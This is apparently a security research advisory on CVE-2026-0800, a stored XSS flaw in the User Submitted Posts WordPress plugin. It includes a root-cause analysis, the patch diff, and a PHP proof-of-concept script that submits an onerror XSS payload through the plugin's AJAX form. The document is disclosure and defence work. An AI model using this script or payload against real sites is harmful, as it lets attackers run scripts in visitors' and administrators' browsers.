Atomic Edge analysis of CVE-2026-0800:
The User Submitted Posts WordPress plugin, versions up to and including 20251210, contains an unauthenticated stored cross-site scripting (XSS) vulnerability. The flaw exists in the plugin’s custom field processing, allowing attackers to inject malicious scripts that execute when a user views a compromised post. The CVSS score of 7.2 reflects a high-severity impact due to the unauthenticated attack vector.
The root cause is insufficient output escaping for user-supplied data within the `usp_custom_field` function in `/user-submitted-posts/library/core-functions.php`. The function constructs markup for custom field display by directly inserting variables into a template string using `preg_replace`. Variables `$author`, `$label`, `$name`, `$value`, and `$title` (lines 272-276 and 323-327 in the vulnerable code) are not sanitized before being placed into the final HTML output. An attacker can submit a post with a malicious payload in a custom field value.
Exploitation occurs via the plugin’s front-end post submission form. An unauthenticated attacker submits a post containing a custom field with a crafted XSS payload, such as `alert(document.domain)`. The plugin stores this payload. When an administrator or any user views the submitted post in the WordPress dashboard or on the public site, the malicious script executes in their browser context. The attack vector is the custom field parameter submitted through the public-facing form.
The patch, implemented in version 20260110, applies the `wp_kses_post()` function to each variable before replacement in the markup template. This function sanitizes the variables for safe HTML output, stripping or encoding dangerous tags and attributes. The change occurs in two locations within the `usp_custom_field` function, ensuring both possible output paths are secured. The version numbers in the main plugin file are also updated accordingly.
Successful exploitation allows an unauthenticated attacker to inject arbitrary JavaScript into pages viewed by other users. This can lead to session hijacking, administrative actions performed on behalf of the victim, defacement, or redirection to malicious sites. The stored nature of the attack amplifies its impact, as the payload executes for every visitor to the compromised page.
--- a/user-submitted-posts/library/core-functions.php
+++ b/user-submitted-posts/library/core-functions.php
@@ -272,11 +272,11 @@
$patterns[4] = "/%%title%%/";
$replacements = array();
- $replacements[0] = $author;
- $replacements[1] = $label;
- $replacements[2] = $name;
- $replacements[3] = $value;
- $replacements[4] = $title;
+ $replacements[0] = wp_kses_post($author);
+ $replacements[1] = wp_kses_post($label);
+ $replacements[2] = wp_kses_post($name);
+ $replacements[3] = wp_kses_post($value);
+ $replacements[4] = wp_kses_post($title);
$markup = preg_replace($patterns, $replacements, $markup);
@@ -323,11 +323,11 @@
$patterns[4] = "/%%title%%/";
$replacements = array();
- $replacements[0] = $author;
- $replacements[1] = $label;
- $replacements[2] = $name;
- $replacements[3] = $value;
- $replacements[4] = $title;
+ $replacements[0] = wp_kses_post($author);
+ $replacements[1] = wp_kses_post($label);
+ $replacements[2] = wp_kses_post($name);
+ $replacements[3] = wp_kses_post($value);
+ $replacements[4] = wp_kses_post($title);
$markup = preg_replace($patterns, $replacements, $markup);
--- a/user-submitted-posts/user-submitted-posts.php
+++ b/user-submitted-posts/user-submitted-posts.php
@@ -10,8 +10,8 @@
Contributors: specialk
Requires at least: 4.7
Tested up to: 6.9
- Stable tag: 20251210
- Version: 20251210
+ Stable tag: 20260110
+ Version: 20260110
Requires PHP: 5.6.20
Text Domain: usp
Domain Path: /languages
@@ -38,7 +38,7 @@
if (!defined('ABSPATH')) die();
if (!defined('USP_WP_VERSION')) define('USP_WP_VERSION', '4.7');
-if (!defined('USP_VERSION')) define('USP_VERSION', '20251210');
+if (!defined('USP_VERSION')) define('USP_VERSION', '20260110');
if (!defined('USP_PLUGIN')) define('USP_PLUGIN', 'User Submitted Posts');
if (!defined('USP_FILE')) define('USP_FILE', plugin_basename(__FILE__));
if (!defined('USP_PATH')) define('USP_PATH', plugin_dir_path(__FILE__));
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0800 - User Submitted Posts – Enable Users to Submit Posts from the Front End <= 20251210 - Unauthenticated Stored Cross-Site Scripting via Custom Field
<?php
// Configure the target WordPress site URL
$target_url = 'http://vulnerable-site.example.com';
// Craft the POST request to the plugin's submission handler
$post_url = $target_url . '/wp-admin/admin-ajax.php';
$payload = array(
'action' => 'usp_submit_post', // The plugin's AJAX action hook
'usp-custom-field' => '<img src=x onerror=alert(document.domain)>', // XSS payload in a custom field
'usp-title' => 'Atomic Edge Test Post',
'usp-content' => 'This is a test post submission for vulnerability research.',
// Additional required fields may be needed depending on plugin configuration
// 'usp-name' => 'attacker',
// 'usp-email' => 'attacker@example.com',
// 'usp-submit' => 'Submit Post'
);
// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Execute the request to submit the malicious post
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Check the response
if ($http_code == 200) {
echo "Payload submitted. Check the submitted posts list or front-end for XSS execution.n";
echo "Response snippet: " . substr($response, 0, 500) . "n";
} else {
echo "Submission failed with HTTP code: $http_coden";
}
?>